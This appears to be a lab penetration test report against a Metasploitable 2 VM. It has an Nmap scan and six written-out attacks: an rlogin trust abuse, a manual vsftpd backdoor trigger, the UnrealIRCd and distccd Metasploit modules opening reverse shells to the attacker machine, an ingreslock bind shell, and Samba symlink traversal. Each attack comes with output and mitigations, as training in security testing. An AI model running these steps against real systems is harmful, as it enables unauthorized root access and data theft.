

METASPLOIT VM

Metasploit 2 VM Penetration Test Report

1. Overview

- **Target:** Metasploit VM (192.168.23.129)
 - **Date:** 7/04/2026
 - **Environment:** Kali Linux → Metasploitable 2
 - **Objective:** Briefly identify and exploit vulnerabilities to assess system security.
-

2. Scope

- **In Scope:** Target IP and exposed services
 - **Out of Scope:** DoS (optional)
-

3. Methodology

- **Reconnaissance:** The target was identified within a controlled lab environment using a known IP address.
- **Scanning:** Nmap was used to identify open ports, services, and versions running on the target system.
- **Enumeration:** The discovered services were further analysed to identify misconfigurations, accessible resources, and potential vulnerabilities.
- **Exploitation:** Vulnerabilities were exploited using the Metasploit Framework to gain remote access to the system.
- **Post-Exploitation:** Access was used to enumerate the system, retrieve sensitive information, and assess the level of control achieved.

4. Reconnaissance & Scanning

Tool: Nmap

Command: `nmap -sV 192.168.23.129`

Key Results:

- 21 – FTP
- 6667 - IRC
- 1524 - Bind Shell
- 3632 - DISTCCD

Notes:

Evidence:

```
(hakim@faizal)-[~]
$ nmap -sV 192.168.23.129
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-07 20:20 +0800
Nmap scan report for 192.168.23.129
Host is up (0.0021s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
```



5. Enumeration

Service	Port	Version/Banner	Access / Credentials	Notes/Observations
FTP	21	E.g., vsftpd 2.3.4	Anonymous login allowed	Known backdoor vulnerability; service accepts connection; exploitable via Metasploit module
SMB	139/445	Samba 3.x-4x	User enumeration possible	Shares accessible (tmp); potential for remote code execution
HTTP	80	Apache 2.2.8	Default pages accessible	WebDAV enabled; directory listing available; potential for file upload / web exploitation
IRC	6667	UnrealIRCd 3.2.8.1	Open connection	Known backdoor vulnerability; allows remote code execution
Bind Shell	1524	n/a	Netcat connection	Immediate root shell access; no authentication required
distccd	3632	distccd 1.2	Open	Accepts commands; vulnerable to remote command execution via Metasploit module
R-Services	512/513/514	rexec / rlogin / rsh	Trust misconfiguration (.rhosts + +)	Unauthenticated root access possible; demonstrates misconfiguration exploit
Tomcat	8180	Apache Tomcat/Coyote JSP 1.1	Login page detected	Default credentials may allow WAR deployment and remote code execution

6. Exploitation

Vulnerability:

- **Service/Port:**
- **Exploit Used:**
- **Severity:**

Steps:

Result:

- Shell access:
- Privilege level:

Evidence:

(Screenshot)

Post-Exploitation

Exploit Used:

<name of exploit>

Access Gained:

- <Type of access, e.g., root shell, user shell, limited access>
-

Privilege Level:

- <Root / User / Other>
-

Actions & Evidence:

Command 1

<command>

Output: <result> ← Screenshot

Command 2

<command>

Output: <result> ← Screenshot

Command 3

<command>

Output: <result> ← Screenshot

 **Tip: Only include 2–4 strong commands that prove access, privileges, and control**

Findings:

- **<What the evidence shows, e.g., sensitive files accessible, full root access, misconfigurations, weak passwords, etc.>**

Impact:

- **<Real-world consequences of the exploit, e.g., full system compromise, potential data exfiltration, pivoting to other hosts>**

Mitigation:

- **<How to fix the vulnerability or reduce risk, e.g., patch service, disable insecure service, firewall rules, strong authentication>**

🌟 6.1 Exploit 1

Vulnerability: R-Services Trust Misconfiguration (.rhosts)

- Service/Port: 512, 513, 514 (rexec, rlogin, rsh)
- Exploit Used: Trust Relationship Exploit (r-services misconfiguration)
- Severity: Critical

Steps: # Connect to target using rlogin

```
rlogin -l root 192.168.23.129
```

Result:

- Successful login without authentication
- Direct access to the system obtained
- Shell access: Yes
- Privilege level: Root

Evidence:

```
(hakim@faizal)-[~]  
$ rlogin -l root 192.168.23.129  
Last login: Tue Apr  7 08:12:44 EDT 2026 from :0.0 on pts/0  
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686  
  
The programs included with the Ubuntu system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
  
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by  
applicable law.  
  
To access official Ubuntu documentation, please visit:  
http://help.ubuntu.com/  
You have new mail.  
root@metasploitable:~#
```

Post-Exploitation R-Services Trust Misconfiguration (.rhosts)

Exploit Used:

rlogin -l root <TARGET_IP>

Actions:

Access Gained:

- Root shell on the target system (Metasploitable 2)
- Unauthenticated login due to misconfiguration. **rhosts** trust

Privilege Level:

- **Root** (full administrative privileges)

Actions Performed and Evidence:

whoami

```
root@metasploitable:~# whoami  
root
```

id

```
root@metasploitable:~# id  
uid=0(root) gid=0(root) groups=0(root)
```

ls -la /root


```

root@metasploitable:~# ls -la /root
total 76
drwxr-xr-x 13 root root 4096 2026-04-07 08:12 .
drwxr-xr-x 21 root root 4096 2012-05-20 14:36 ..
lrwxrwxrwx 1 root root 9 2012-05-14 00:26 .bash_history -> /dev/null
-rw-r--r-- 1 root root 2227 2007-10-20 07:51 .bashrc
drwx----- 3 root root 4096 2012-05-20 15:08 .config
drwxr-xr-x 2 root root 4096 2012-05-20 15:08 Desktop
drwx----- 2 root root 4096 2012-05-20 15:13 .filezilla
drwxr-xr-x 5 root root 4096 2026-04-07 08:12 .fluxbox
drwx----- 2 root root 4096 2012-05-20 15:38 .gconf
drwx----- 2 root root 4096 2012-05-20 15:40 .gconfd
drwxr-xr-x 2 root root 4096 2012-05-20 15:09 .gstreamer-0.10
drwx----- 4 root root 4096 2012-05-20 15:07 .mozilla
-rw-r--r-- 1 root root 141 2007-10-20 07:51 .profile
drwx----- 5 root root 4096 2012-05-20 15:11 .purple
-rwx----- 1 root root 401 2012-05-20 15:55 reset_logs.sh
-rwx----- 1 root root 4 2012-05-20 14:25 .rhosts
drwxr-xr-x 2 root root 4096 2026-02-16 03:11 .ssh
drwx----- 2 root root 4096 2026-04-07 08:12 .vnc
-rw-r--r-- 1 root root 138 2026-04-07 08:12 vnc.log
-rw----- 1 root root 324 2026-04-07 08:12 .Xauthority

```

cat /etc/passwd | head -n 10

```

root@metasploitable:~# cat /etc/passwd | head -n 10
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh

```

Findings:

- System allows unauthenticated root login via r-services
- **.rhosts** file configured with wildcard trust (+ +)
- Full access to sensitive directories such as **/root** and **/etc**
- Ability to read user account information from **/etc/passwd**
- No restrictions on command execution or system access

Impact:

- **Full system compromise:** Allows an attacker to log in as **root** without authentication.

- **Complete control of the target:** Can modify, delete, or exfiltrate data.
- **Persistence and lateral movement:** An attacker can use trust relationships to move to other hosts in the network.

Mitigation:

- **Disable r-services** (rsh, rlogin, rexec) if not needed.
- **Use SSH instead** for secure remote access.
- **Remove or restrict .rhosts files;** do not allow wildcard trust (+).
- **Implement strong authentication** and limit access to trusted hosts.
- **Network-level restrictions:** Use firewalls to block untrusted access to ports 512–514

Exploit 2

Vulnerability: vsftpd 2.3.4 Backdoor

- Service/Port: FTP (21) → Backdoor opens on 6200
- Exploit Used: Manual backdoor trigger via crafted username (:))
- Severity: Critical

Steps:

Connect to FTP service

```
telnet 192.168.23.129 21
```

Trigger backdoor

USER backdoored:)

PASS invalid

Connect to backdoor shell

```
telnet 192.168.23.129 6200
```

Verify access

```
id;
```

Result:

- Backdoor successfully triggered via FTP login
- Hidden service opened on port 6200
- Remote command execution achieved

Shell access:

- Yes
-

Privilege level:

- Root

Evidence:

```
(hakim@faizal)-[~]
$ telnet 192.168.23.129 21
Trying 192.168.23.129...
Connected to 192.168.23.129.
Escape character is '^]'.
220 (vsFTPD 2.3.4)
user backdoored:)
331 Please specify the password.
pass invalid
500 OOPS: priv_sock_get_result
Connection closed by foreign host.

(hakim@faizal)-[~]
$ telnet 192.168.23.129 6200
Trying 192.168.23.129...
Connected to 192.168.23.129.
Escape character is '^]'.
id;
uid=0(root) gid=0(root)
```



Post-Exploitation: vsftpd 2.3.4 Backdoor

Exploit Used: Manual vsftpd backdoor trigger (USER backdoored:))

Access Gained:

- Remote shell access via backdoor on port 6200
 - Unauthenticated access achieved
-

Privilege Level:

- Root (uid=0)
-

Actions Performed and Evidence:

Verify privileges

id;

```
id;  
uid=0(root) gid=0(root)
```

Identify current user

whoami;

```
whoami;  
root
```

View system information

uname -a;

```
uname -a;  
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```

List root directory

ls -la /root;

```
ls -la /root;
total 76
drwxr-xr-x 13 root root 4096 Apr  7 08:12 .
drwxr-xr-x 21 root root 4096 May 20 2012 ..
-rw----- 1 root root 324 Apr  7 08:12 .Xauthority
lrwxrwxrwx 1 root root    9 May 14 2012 .bash_history -> /dev/null
-rw-r--r-- 1 root root 2227 Oct 20 2007 .bashrc
drwx----- 3 root root 4096 May 20 2012 .config
drwx----- 2 root root 4096 May 20 2012 .filezilla
drwxr-xr-x 5 root root 4096 Apr  7 08:12 .fluxbox
drwx----- 2 root root 4096 May 20 2012 .gconf
drwx----- 2 root root 4096 May 20 2012 .gconfd
drwxr-xr-x 2 root root 4096 May 20 2012 .gststreamer-0.10
drwx----- 4 root root 4096 May 20 2012 .mozilla
-rw-r--r-- 1 root root 141 Oct 20 2007 .profile
drwx----- 5 root root 4096 May 20 2012 .purple
-rwx----- 1 root root    4 May 20 2012 .rhosts
drwxr-xr-x 2 root root 4096 Feb 16 04:11 .ssh
drwx----- 2 root root 4096 Apr  7 08:12 .vnc
drwxr-xr-x 2 root root 4096 May 20 2012 Desktop
-rwx----- 1 root root 401 May 20 2012 reset_logs.sh
-rw-r--r-- 1 root root 138 Apr  7 08:12 vnc.log
```

View sensitive system files
cat /etc/passwd | head;

```
cat /etc/passwd | head;
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
```

Findings:

- Full administrative (root) access confirmed
- Sensitive system files accessible (`/etc/passwd`, `/root`)
- Ability to execute arbitrary commands on the system
- No restrictions on file access or system control

Impact:

- Unauthenticated attacker can gain **root shell access**

- Full system compromise with ability to execute arbitrary commands
- No valid credentials required
- Can lead to data exfiltration, persistence, and lateral movement

Mitigation:

- Remove vulnerable version of vsftpd (2.3.4)
 - Upgrade to a patched and secure version
 - Disable FTP service if not required
 - Restrict access using firewall rules
 - Monitor logs for suspicious login attempts (e.g., usernames containing :))
-

Exploit 3

Vulnerability: UnrealIRCd 3.2.8.1 Backdoor

- Service/Vulnerability:

UnrealIRCd 3.2.8.1 Backdoor

- Service/Port: IRC (6667)
- Exploit Used: Metasploit module
(`exploit/unix/irc/unreal_ircd_3281_backdoor`)
- Severity: Critical

Steps:

Select the exploit

use exploit/unix/irc/unreal_ircd_3281_backdoor

Set target (Metasploitable)

set RHOST 192.168.23.129

Set attacker machine (Kali)

set LHOST 192.168.23.128

Set payload

set payload cmd/unix/reverse

Execute exploit

exploit

Result:

- Backdoor successfully exploited
 - Reverse shell session established
 - Command execution achieved
-

Shell access:

- Yes
-

Privilege level:

- Root

Evidence:

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOST 192.168.23.129
RHOST => 192.168.23.129
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 192.168.23.128
LHOST => 192.168.23.128
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/
set payload cmd/unix/adduser          set payload cmd/unix/reverse_bash_telnet_ssl
set payload cmd/unix/bind_perl        set payload cmd/unix/reverse_perl
set payload cmd/unix/bind_perl_ipv6   set payload cmd/unix/reverse_perl_ssl
set payload cmd/unix/bind_ruby        set payload cmd/unix/reverse_ruby
set payload cmd/unix/bind_ruby_ipv6   set payload cmd/unix/reverse_ruby_ssl
set payload cmd/unix/generic          set payload cmd/unix/reverse_ssl_double_telnet
set payload cmd/unix/reverse
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
[*] Started reverse TCP double handler on 192.168.23.128:4444
[*] 192.168.23.129:6667 - Connected to 192.168.23.129:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
[*] 192.168.23.129:6667 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo ETEu1P45pFxI6TNJ;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "ETEu1P45pFxI6TNJ\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.23.128:4444 -> 192.168.23.129:35439) at 2026-04-09 11:22:23 +0800

id
uid=0(root) gid=0(root)
```



Post-Exploitation UnrealRCd 3.2.8.1 Backdoor

Exploit Used:

UnrealRCd 3.2.8.1 Backdoor

Access Gained:

- Remote shell access via backdoored IRC service
-

Privilege Level:

- Root (uid=0)
-

Actions & Evidence:

Verify privileges

id;

```
id;  
uid=0(root) gid=0(root)
```

Confirm user

whoami;

```
whoami;  
root
```

Access root directory

ls -la /root;

```
ls -la /root;
total 76
drwxr-xr-x 13 root root 4096 Apr  8 23:02 .
drwxr-xr-x 21 root root 4096 May 20 2012 ..
-rw----- 1 root root  324 Apr  8 23:02 .Xauthority
lrwxrwxrwx 1 root root    9 May 14 2012 .bash_history -> /dev/null
-rw-r--r-- 1 root root 2227 Oct 20 2007 .bashrc
drwx----- 3 root root 4096 May 20 2012 .config
drwx----- 2 root root 4096 May 20 2012 .filezilla
drwxr-xr-x 5 root root 4096 Apr  8 23:02 .fluxbox
drwx----- 2 root root 4096 May 20 2012 .gconf
drwx----- 2 root root 4096 May 20 2012 .gconfd
drwxr-xr-x 2 root root 4096 May 20 2012 .gststreamer-0.10
drwx----- 4 root root 4096 May 20 2012 .mozilla
-rw-r--r-- 1 root root  141 Oct 20 2007 .profile
drwx----- 5 root root 4096 May 20 2012 .purple
-rwx----- 1 root root    4 May 20 2012 .rhosts
drwxr-xr-x 2 root root 4096 Feb 16 03:11 .ssh
drwx----- 2 root root 4096 Apr  8 23:02 .vnc
drwxr-xr-x 2 root root 4096 May 20 2012 Desktop
-rwx----- 1 root root  401 May 20 2012 reset_logs.sh
-rw-r--r-- 1 root root  138 Apr  8 23:02 vnc.log
```

View sensitive file

cat /etc/passwd | head;

```
cat /etc/passwd | head;
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
```

Findings:

- Full root-level access obtained without authentication
 - Sensitive directories such as `/root` are accessible
 - System user information can be extracted from `/etc/passwd`
 - No restrictions on command execution
-

Impact:

- Complete system compromise
 - Attacker can:
 - Execute arbitrary commands
 - Access and modify sensitive files
 - Establish persistence (e.g., add users, backdoors)
 - Pivot to other systems on the network
-

Mitigation:

- Remove compromised UnrealIRCd version (3.2.8.1)
- Install a clean and verified version of the software
- Restrict access to IRC service (port 6667)
- Implement firewall rules to limit exposure
- Monitor logs for suspicious activity or unauthorized access

Exploit 4

Vulnerability:

Ingreslock Backdoor (Pre-installed Bind Shell)

- **Service/Port:** 1524 (Ingreslock)
 - **Exploit Used:** Direct connection to exposed bind shell (no authentication required)
 - **Severity:** Critical
-

Steps:

Connect to ingreslock backdoor

```
telnet 192.168.23.129 1524
```

Verify root access

```
id
```

Result:

- Successfully connected to exposed bind shell
 - Immediate command execution available without authentication
-

Shell access:

- Yes
-

Privilege level:

- Root

Evidence:

```
(hakim@faizal)-[~]  
$ telnet 192.168.23.129 1524  
Trying 192.168.23.129...  
Connected to 192.168.23.129.  
Escape character is '^]'.  
root@metasploitable:/# id  
uid=0(root) gid=0(root) groups=0(root)
```

Post-Exploitation Ingreslock Backdoor

Exploit Used:

Ingreslock backdoor (port 1524)

Access Gained:

- Direct unauthenticated shell access via exposed backdoor
-

Privilege Level:

- Root (uid=0)
-

Actions & Evidence:

Verify privileges

id

```
root@metasploitable:/# root@metasploitable:/# id
uid=0(root) gid=0(root) groups=0(root)
```

Confirm user

whoami

```
root@metasploitable:/# root@metasploitable:/# whoami
root
```

Access root directory

ls -la /root

```
root@metasploitable:/# root@metasploitable:/# ls -l /root
total 12
drwxr-xr-x 2 root root 4096 May 20 2012 Desktop
-rwx----- 1 root root 401 May 20 2012 reset_logs.sh
-rw-r--r-- 1 root root 138 Apr 8 23:02 vnc.log
```

View sensitive file

cat /etc/passwd | head

```
root@metasploitable:/# root@metasploitable:/# cat /etc/passwd | head
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
```

Findings:

- Backdoor service (Ingreslock) is openly exposed on port 1524
 - No authentication required to gain access
 - Full root-level shell is immediately available
 - Sensitive files and system directories are fully accessible
-

Impact:

- Immediate and complete system compromise
 - No exploitation effort required—attacker gains root instantly
 - Enables:
 - Arbitrary command execution
 - Data exfiltration
 - Persistence (adding users/backdoors)
 - Lateral movement across the network
-

Mitigation:

- Disable and remove the backdoor service on port 1524
- Close unnecessary ports using firewall rules
- Conduct regular service and port audits
- Implement proper authentication controls
- Monitor for unauthorized open services

Not all attacks require “exploitation” — sometimes misconfigurations expose **direct root access**

Exploit 5

Vulnerability:

distccd Command Execution (Unintentional Backdoor)

- **Service/Port:** distccd (3632)
 - **Exploit Used:** Metasploit module ([exploit/unix/misc/distcc_exec](#))
 - **Severity:** High
-

Steps:

Start Metasploit

msfconsole

Select exploit

use exploit/unix/misc/distcc_exec

Set target IP

set RHOST 192.168.23.129

Set attacker IP

set LHOST 192.168.23.128

Set payload

set payload cmd/unix/reverse

Run exploit

exploit

Verify access

id

Result:

- Unauthenticated command execution achieved via distccd
 - Reverse shell session established
-

Shell access:

- Yes
-

Privilege level:

- Daemon (uid=1)
-

Evidence:

```
(hakim@faizal)-[~]
$ msfconsole
Metasploit tip: Use check before run to confirm if a target is
vulnerable

+-----+
| METASPLOIT by Rapid7 |
+-----+
|
| ==c(-----o(-----()
|          //  \
|          RECON
|
| EXPLOIT
| ==[msf >]=====
| \(\@)(\@)(\@)(\@)(\@)(\@)/
| *****
|
+-----+
|
| o o o      o o
| ^^^^^^^^^^|
| PAYLOAD   |
| (\@)(\@)"***(\@)(\@)**|(\@)
| = = = = =
|
|
| \'\^/\^/\^/'
| )=====
|  ||
|  ||
|  ||
|  ||
|  ||
|  ||
|
+-----+

+ -- ==[ metasploit v6.4.112-dev ]
+ -- ==[ 2,607 exploits - 1,325 auxiliary - 1,719 payloads ]
+ -- ==[ 430 post - 49 encoders - 14 nops - 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > use exploit/unix/misc/distcc_exec
[*] No payload configured, defaulting to cmd/unix/reverse_bash
msf exploit(unix/misc/distcc_exec) > set RHOST 192.168.23.129
RHOST => 192.168.23.129
msf exploit(unix/misc/distcc_exec) > set LHOST 192.168.23.128
LHOST => 192.168.23.128
msf exploit(unix/misc/distcc_exec) > set payload cmd/unix/
set payload cmd/unix/adduser          set payload cmd/unix/reverse_bash_telnet_ssl
set payload cmd/unix/bind_perl        set payload cmd/unix/reverse_openssl
set payload cmd/unix/bind_perl_ipv6   set payload cmd/unix/reverse_perl
set payload cmd/unix/bind_ruby         set payload cmd/unix/reverse_perl_ssl

set payload cmd/unix/bind_ruby_ipv6   set payload cmd/unix/reverse_ruby
set payload cmd/unix/generic           set payload cmd/unix/reverse_ruby_ssl
set payload cmd/unix/reverse           set payload cmd/unix/reverse_ssl_double_telnet
set payload cmd/unix/reverse_bash
msf exploit(unix/misc/distcc_exec) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf exploit(unix/misc/distcc_exec) > exploit
[*] Started reverse TCP double handler on 192.168.23.128:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo Tg3NjBWupQnl8rjc;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "Tg3NjBWupQnl8rjc\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.23.128:4444 -> 192.168.23.129:33462) at 2026-04-11 01:34:56 +0800

id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
```

Post-Exploitation Ingreslock Backdoor

Exploit Used:

distccd command execution (`distcc_exec`)

Access Gained:

- Remote shell access via vulnerable distccd service
-

Privilege Level:

- Daemon (uid=1)
-

Actions & Evidence:

Verify privileges

id

```
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
```

Confirm user

```
whoami
daemon
```

Check system information

uname -a

```
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```

Access root directory

ls -la /root

```
ls -la /root
total 76
drwxr-xr-x 13 root root 4096 Apr  8 23:02 .
drwxr-xr-x 21 root root 4096 May 20 2012 ..
-rw----- 1 root root 324 Apr  8 23:02 .Xauthority
lrwxrwxrwx 1 root root 9 May 14 2012 .bash_history -> /dev/null
-rw-r--r-- 1 root root 2227 Oct 20 2007 .bashrc
drwx----- 3 root root 4096 May 20 2012 .config
drwx----- 2 root root 4096 May 20 2012 .filezilla
drwxr-xr-x 5 root root 4096 Apr  8 23:02 .fluxbox
drwx----- 2 root root 4096 May 20 2012 .gconf
drwx----- 2 root root 4096 May 20 2012 .gconfd
drwxr-xr-x 2 root root 4096 May 20 2012 .gstreamer-0.10
drwx----- 4 root root 4096 May 20 2012 .mozilla
-rw-r--r-- 1 root root 141 Oct 20 2007 .profile
drwx----- 5 root root 4096 May 20 2012 .purple
-rwx----- 1 root root 4 May 20 2012 .rhosts
drwxr-xr-x 2 root root 4096 Feb 16 03:11 .ssh
drwx----- 2 root root 4096 Apr  8 23:02 .vnc
drwxr-xr-x 2 root root 4096 May 20 2012 Desktop
-rwx----- 1 root root 401 May 20 2012 reset_logs.sh
-rw-r--r-- 1 root root 138 Apr  8 23:02 vnc.log
```

View sensitive file

cat /etc/passwd | head

```
cat /etc/passwd | head
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
```

Findings:

- distccd allows unauthenticated remote command execution
- Service runs under **daemon privileges**
- Misconfigured permissions allow access to sensitive directories such as **/root**
- Sensitive system files (e.g., **/etc/passwd**) are readable
- System lacks proper access controls between privilege levels

Impact:

- Remote attacker gains command execution without authentication

- Even with low privileges, attacker can:
 - Access sensitive directories (e.g., /root)
 - Read system configuration and user data
 - Escalate privileges more easily due to weak permissions
 - Establish persistence and pivot within the network
-

Mitigation:

- Disable distccd service if not required
- Restrict access to port 3632 via firewall
- Correct file and directory permissions (especially /root)
- Apply principle of least privilege
- Regularly audit system configurations and access controls

Although the service initially provides low-privilege access, misconfigured file permissions allow access to sensitive directories, significantly increasing the impact of the vulnerability.

Exploit 6

Vulnerability:

Samba Symlink Traversal (Wide Links Misconfiguration)

- Service/Port: SMB (139/445)
 - Exploit Used: Metasploit module
(`auxiliary/admin/smb/samba_symlink_traversal`)
 - Severity: High
-

Enumerate SMB shares

```
smbclient -L //192.168.23.129 -N
```

Start Metasploit

```
msfconsole
```

Select module

```
use auxiliary/admin/smb/samba_symlink_traversal
```

Set target

```
set RHOST 192.168.23.129
```

(Optional / not required)

```
set LHOST 192.168.23.128
```

Set writable share

```
set SMBSHARE tmp
```


Run exploit

exploit

Exit Metasploit

exit

Connect to the share

smbclient //192.168.23.129/tmp -N

Navigate to root filesystem

cd rootfs

cd etc

Read sensitive file

more passwd

Result:

- **Anonymous access to SMB share obtained**
- **Symlink created to root filesystem (**rootfs**)**
- **Sensitive system files accessed successfully**

Shell access:

- **No**

Privilege level:

- N/A (file system access via SMB)
-

Evidence:

```
(hakim@faizal)-[~]
$ smbclient -L //192.168.23.129
Password for [WORKGROUP\hakim]:
Anonymous login successful

      Sharename      Type      Comment
      -----
      print$         Disk      Printer Drivers
      tmp            Disk      oh noes!
      opt            Disk
      IPC$           IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
      ADMIN$         IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

      Server          Comment
      -----
      Workgroup       Master
      -----
      WORKGROUP       METASPLOITABLE
```

[illegible]

```
msf > use auxiliary/admin/smb/samba_symlink_traversal
msf auxiliary(admin/smb/samba_symlink_traversal) > set RHOST 192.168.23.129
RHOST => 192.168.23.129
msf auxiliary(admin/smb/samba_symlink_traversal) > set LHOST 192.168.23.128
[!] Unknown datastore option: LHOST. Did you mean RHOST?
LHOST => 192.168.23.128
msf auxiliary(admin/smb/samba_symlink_traversal) > set SMBSHARE tmp
SMBSHARE => tmp
msf auxiliary(admin/smb/samba_symlink_traversal) > exploit
[*] Running module against 192.168.23.129
[*] 192.168.23.129:445 - Connecting to the server...
[*] 192.168.23.129:445 - Trying to mount writeable share 'tmp'...
[*] 192.168.23.129:445 - Trying to link 'rootfs' to the root filesystem...
[*] 192.168.23.129:445 - Now access the following share to browse the root filesystem:
[*] 192.168.23.129:445 -      \\192.168.23.129\tmp\rootfs\

[*] Auxiliary module execution completed
```

```
(hakim@faizal)-[~]  
$ smbclient //192.168.23.129/tmp -N  
Anonymous login successful  
Try "help" to get a list of possible commands.  
smb: \>
```

```
(hakim@faizal)-[~]  
$ smbclient //192.168.23.129/tmp -N  
Anonymous login successful  
Try "help" to get a list of possible commands.  
smb: \> cd rootfs  
smb: \rootfs\> cd etc  
smb: \rootfs\etc\> more passwd
```

```
root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/bin/sh  
bin:x:2:2:bin:/bin:/bin/sh  
sys:x:3:3:sys:/dev:/bin/sh  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/bin/sh  
man:x:6:12:man:/var/cache/man:/bin/sh  
lp:x:7:7:lp:/var/spool/lpd:/bin/sh  
mail:x:8:8:mail:/var/mail:/bin/sh  
news:x:9:9:news:/var/spool/news:/bin/sh  
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh  
proxy:x:13:13:proxy:/bin:/bin/sh  
www-data:x:33:33:www-data:/var/www:/bin/sh  
backup:x:34:34:backup:/var/backups:/bin/sh  
list:x:38:38:Mailing List Manager:/var/list:/bin/sh  
irc:x:39:39:ircd:/var/run/ircd:/bin/sh  
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh  
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh  
libuuid:x:100:101::/var/lib/libuuid:/bin/sh  
dhcp:x:101:102::/nonexistent:/bin/false  
syslog:x:102:103::/home/syslog:/bin/false  
klog:x:103:104::/home/klog:/bin/false  
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin  
